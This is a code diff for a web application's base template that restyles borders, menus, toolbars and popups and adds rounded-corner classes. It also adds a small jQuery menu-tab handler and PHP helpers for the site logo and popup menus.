-#bx-footer-copyright {
-    float:right;
-}
-
 /* --------------- design boxes */
 
@@ -78 +64 @@
 .bx-popup {    
     overflow:hidden;
-
-    border-radius:3px;
-    -moz-border-radius:3px;
-    -webkit-border-radius:3px;  
 
     -moz-box-shadow:0px 0px 10px 0px rgba(128, 128, 128, 0.3), 0px 1px 2px 0px rgba(0, 0, 0, 0.3);
@@ -138 +120 @@
 .bx-loading-ajax {
     position:absolute;
-    width:128px;
-    height:15px;
+    width:43px;
+    height:11px;
     z-index:10;
     margin-left:auto;
@@ -145 +127 @@
     padding:10px 10px;
 
-    background-color:rgb(96, 96, 96);
-    background-color:rgba(96, 96, 96, 0.5);
+    background-color:rgb(128, 169, 213);
+    background-color:rgba(128, 169, 213, 0.5);
 
     border-radius:5px;
@@ -156 +138 @@
 }
 .bx-loading-ajax-rotating {
-    width:128px;
-    height:15px;
+    width:43px;
+    height:11px;
     z-index:11;
 

trunk/templates/base/css/default.css

@@ -1 @@
-
-/* page */
-.bx-def-page-margin {
-    margin:0 auto 0 auto;
-}
 
 /* popup */
@@ -99 +94 @@
 .bx-def-color-bg-page {
     background-color:#f2f2f2;
+    background-image:url(../images/bg-page.jpg);
 }
 
@@ -133 +129 @@
 
 .bx-def-border {
-    border:1px solid #dddddd;
+    border:1px solid #d0d0d0;
 }
 .bx-def-border-rightbottomleft {
-    border:1px solid #dddddd;
+    border:1px solid #d0d0d0;
     padding-top:none;
 }
 .bx-def-border-top {
-    border-top:1px solid #dddddd;
+    border-top:1px solid #d0d0d0;
 }
 .bx-def-border-right {
-    border-right:1px solid #dddddd;
+    border-right:1px solid #d0d0d0;
 }
 .bx-def-border-bottom {
-    border-bottom:1px solid #dddddd;
+    border-bottom:1px solid #d0d0d0;
 }
 .bx-def-border-left {
-    border-left:1px solid #dddddd;
+    border-left:1px solid #d0d0d0;
+}
+
+/* round corders */
+
+.bx-def-round-corners {
+    border-radius:3px;
+    -moz-border-radius:3px;
+    -webkit-border-radius:3px;  
 }
 

trunk/templates/base/css/menu.css

@@ -1 @@
-
-/* --------------- menu main */
-
-#bx-menu-main-container {
-    width:100%;
-}
 
 /* --------------- menu footer */
@@ -64 +58 @@
 
 
-
+/* --------------- main menu */
+
+ul.bx-menu-main {
+    display: table;
+    padding:0;
+    margin:0 auto;
+    list-style:none;
+}
+
+.bx-menu-main li {
+    float:left;
+    margin:0;
+    background-color:#f6f6f6;
+    border-right:1px solid #d0d0d0;
+
+    -webkit-box-shadow: inset 0px -1px 0px rgba(128, 128, 128, 0.1);
+    -moz-box-shadow: inset 0px -1px 0px rgba(128, 128, 128, 0.1);
+    box-shadow: inset 0px -1px 0px rgba(128, 128, 128, 0.1);
+
+    -webkit-transition: background 0.2s ease-in-out;
+    -moz-transition: background 0.2s ease-in-out;
+    -o-transition: background 0.2s ease-in-out;
+}
+
+.bx-menu-main li:first-child {
+    border-left:1px solid #d0d0d0;
+}
+
+.bx-menu-main li a {
+    display:block;
+    text-decoration:none;
+}
+
+.bx-menu-main li.bx-menu-tab-active a {
+    color:#000;
+}
+
+.bx-menu-main li:hover {
+    background-color:rgba(255, 255, 255, 0.9);
+}
+
+.bx-menu-main li:active,
+.bx-menu-main li.bx-menu-tab-active {
+    -webkit-box-shadow: inset 0px 0px 8px rgba(128, 128, 128, 0.35);
+    -moz-box-shadow: inset 0px 0px 8px rgba(128, 128, 128, 0.35);
+    box-shadow: inset 0px 0px 8px rgba(128, 128, 128, 0.35);
+
+    -webkit-transition-duration: 0.0s;
+    -moz-transition-duration: 0.0s;
+    -o-transition-duration: 0.0s;
+}
+
+
+
+/* --------------- toolbar menu */
+
+#bx-menu-toolbar-1-container .bx-menu-toolbar {
+    float:left;
+}
+
+#bx-menu-toolbar-2-container .bx-menu-toolbar {
+    float:right;
+}
+
+.bx-menu-toolbar {
+    list-style:none;
+    margin:0 0 0 0;
+    padding:0;            
+}
+ul.bx-menu-toolbar li {
+
+    float:left;         
+    margin: 0px;            
+
+    min-width: 48px;
+    height: 48px;            
+
+    border: 1px solid #000000;
+    border: 1px solid rgba(0, 0, 0, 0.3);
+    border-width: 1px 0px 1px 1px;            
+
+    -moz-box-shadow: inset 0px 1px 0px 0px rgba(255, 255, 255, 0.3), 0px 1px 0px 0px rgba(255, 255, 255, 0.3);
+    -webkit-box-shadow: inset 0px 1px 0px 0px rgba(255, 255, 255, 0.3), 0px 1px 0px 0px rgba(255, 255, 255, 0.3);
+    box-shadow: inset 0px 1px 0px 0px rgba(255, 255, 255, 0.3), 0px 1px 0px 0px rgba(255, 255, 255, 0.3);  
+
+    -webkit-transition: background 0.2s ease-in-out;
+}        
+ul.bx-menu-toolbar li:first-child {
+    border-radius: 6px 0px 0px 6px;
+    -moz-border-radius: 6px 0px 0px 6px;
+}
+ul.bx-menu-toolbar li:last-child {
+    border-radius: 0px 6px 6px 0px;
+    -moz-border-radius: 0px 6px 6px 0px;
+    border-width: 1px;
+}
+
+ul.bx-menu-toolbar li:last-child:first-child {
+    border-radius: 6px;
+    -moz-border-radius: 6px;
+}
+
+ul.bx-menu-toolbar li a {
+    position:relative;
+    display:block;
+    padding:0 10px;
+    height:100%;
+    min-width:28px;
+    line-height: 48px;
+
+    font-size: 16px;
+    font-weight: bold;
+    text-align: center;
+    color: #fff;
+    text-decoration:none;
+    text-shadow: rgba(0, 0, 0, 0.5) 0px 1px 0px;
+}
+ul.bx-menu-toolbar li img {
+    width:28px;
+    height:48px;
+    background-position:center center;
+    background-repeat:no-repeat;
+}
+
+ul.bx-menu-toolbar li:hover {
+    background-color: rgba(75, 127, 181, 0.5);
+}
+
+ul.bx-menu-toolbar li:active,
+ul.bx-menu-toolbar li.bx-menu-tab-active {
+    background-color: rgb(37, 64, 90);
+    background-color: rgba(37, 64, 90, 0.3);
+
+    -moz-box-shadow: inset 0px 1px 1px 0px rgba(0, 0, 0, 0.5), 0px 1px 0px 0px rgba(255, 255, 255, 0.3);
+    -webkit-box-shadow: inset 0px 1px 1px 0px rgba(0, 0, 0, 0.5), 0px 1px 0px 0px rgba(255, 255, 255, 0.3);
+    box-shadow: inset 0px 1px 1px 0px rgba(0, 0, 0, 0.5), 0px 1px 0px 0px rgba(255, 255, 255, 0.3);
+
+    -webkit-transition-duration: 0.0s;
+}
+ul.bx-menu-toolbar li:active a,
+ul.bx-menu-toolbar li.bx-menu-tab-active a {
+    top:1px;
+}
+
+

trunk/templates/base/designbox_1.html

@@ -1 @@
-<div class="bx-db-container bx-def-border bx-def-color-bg-block bx-def-margin-bottom">
+<div class="bx-db-container bx-def-border bx-def-color-bg-block bx-def-margin-bottom bx-def-round-corners">
     <div class="bx-db-header"><div class="bx-db-title bx-def-padding-left bx-def-padding-top bx-def-font-h2">__title__</div>__caption_item__<div class="bx-clear"></div></div>
     <div class="bx-db-content">__designbox_content__</div>

trunk/templates/base/designbox_11.html

@@ -1 @@
-<div class="bx-db-container bx-def-border bx-def-color-bg-block bx-def-margin-bottom" style="background-image:url(/d8/studio/templates/base/images/bx-std-bg-page.jpg);">
+<div class="bx-db-container bx-def-border bx-def-color-bg-block bx-def-margin-bottom bx-def-round-corners">
     <div class="bx-db-header"><div class="bx-db-title bx-def-padding-left bx-def-padding-top bx-def-font-h2">__title__</div>__caption_item__<div class="bx-clear"></div></div>
     <div class="bx-db-content bx-def-padding">__designbox_content__</div>

trunk/templates/base/designbox_13.html

@@ -1 @@
-<div class="bx-db-container bx-def-border bx-def-color-bg-block bx-def-margin-bottom">
+<div class="bx-db-container bx-def-border bx-def-color-bg-block bx-def-margin-bottom bx-def-round-corners">
     <div class="bx-db-content bx-def-padding">
             __designbox_content__

trunk/templates/base/designbox_3.html

@@ -1 @@
-<div class="bx-db-container bx-def-border bx-def-color-bg-block bx-def-margin-bottom">
+<div class="bx-db-container bx-def-border bx-def-color-bg-block bx-def-margin-bottom bx-def-round-corners">
     <div class="bx-db-content">
             __designbox_content__

trunk/templates/base/menu_main.html

@@ -1 @@
-<ul id="bx-menu-main" class="bx-menu-hor">
+<ul id="bx-menu-main" class="bx-menu-main bx-def-font-h3">
     <bx_repeat:menu_items>
-        <li class="__class_add__"><a href="__link__" target="__target__" onclick="__onclick__">__title__</a></li>
+        <li class="__class_add__"><a class="bx-def-padding-right bx-def-padding-left" href="__link__" target="__target__" onclick="__onclick__">__title__</a></li>
     </bx_repeat:menu_items>
     <div class="bx-clear"></div>
 </ul>
+<script>
+    $(document).ready(function () {
+        $('#bx-menu-main li').click(function () {
+            $('#bx-menu-main li').removeClass('bx-menu-tab-active');
+            $(this).addClass('bx-menu-tab-active');
+        });
+    });
+</script>

trunk/templates/base/popup_box.html

@@ -9 +9 @@
         <i class="i6 bx-def-color-bg-block">&#160;</i>
     </div>
-    <div class="bx-popup bx-popup-box bx-db-container bx-def-popup-width bx-def-color-bg-block">
+    <div class="bx-popup bx-popup-box bx-db-container bx-def-popup-width bx-def-color-bg-block bx-def-round-corners">
         <div class="bx-db-header">
             <div class="bx-db-title bx-def-padding-left"><h2>__title__</h2></div>

trunk/templates/base/popup_trans.html

@@ -9 +9 @@
         <i class="i6 bx-def-color-bg-block">&#160;</i>
     </div>
-    <div class="bx-popup bx-popup-trans">
+    <div class="bx-popup bx-popup-trans bx-def-round-corners">
         __content__
     </div>

trunk/templates/base/scripts/BxBaseFunctions.php

@@ -606 +606 @@
         return $sCode;
     }
+
+    /**
+     * Get logo HTML.
+     * @return string
+     */
+    function getMainLogo() {
+        bx_import('BxDolConfig');
+
+        $sAlt = getParam('sys_site_logo_alt') ? getParam('sys_site_logo_alt') : getParam('site_title');
+
+        $iFileId = (int)getParam('sys_site_logo');
+        if (!$iFileId)
+            return $sAlt;
+
+        bx_import('BxDolStorage');
+        $oStorage = BxDolStorage::getObjectInstance(BX_DOL_STORAGE_OBJ_IMAGES);
+        $sFileUrl = $oStorage->getFileUrlById($iFileId);
+        if (!$sFileUrl)
+            return $sAlt;
+
+        return '<a href="' . BX_DOL_URL_ROOT . '" title="' . bx_html_attribute($sAlt, BX_ESCAPE_STR_QUOTE) . '"><img src="' . $sFileUrl . '" id="bx-logo" class="bx-def-margin-sec" alt="' . bx_html_attribute($sAlt, BX_ESCAPE_STR_QUOTE) . '" /></a>';
+    }
 }

trunk/templates/base/scripts/BxBaseMenu.php

@@ -32 +32 @@
      * @return string
      */
-    public function getCode () {        
+    public function getCode () {
 
         $aVars = array (
@@ -42 +42 @@
                 
         return $this->_oTemplate->parseHtmlByName($this->_aObject['template'], $aVars);
+    }
+
+    /** 
+     * Get menu code for displaying menu in popup.
+     * @return string
+     */
+    public function getCodeForPopup () {
+        bx_import('BxTemplFunctions');
+        return BxTemplFunctions::getInstance()->transBox('<div class="bx-def-padding bx-def-color-bg-block">' . $this->getCode () . '</div>');
     }
 
@@ -66 +75 @@
             $a['class_add'] = $this->_isSelected($a) ? 'bx-menu-tab-active' : '';
             $a['link'] = isset($a['link']) ? $this->_oPermalinks->permalink($a['link']) : 'javascript:void(0);';
-            $a['title'] = _t($a['title']);            
+            $a['title'] = _t($a['title']);
+            $a['bx_if:icon'] = array (
+                'condition' => !empty($a['icon']),
+                'content' => array('icon_url' => !empty($a['icon']) ? $this->_oTemplate->getIconUrl($a['icon']) : ''),
+            );
 
             $aRet[] = $a;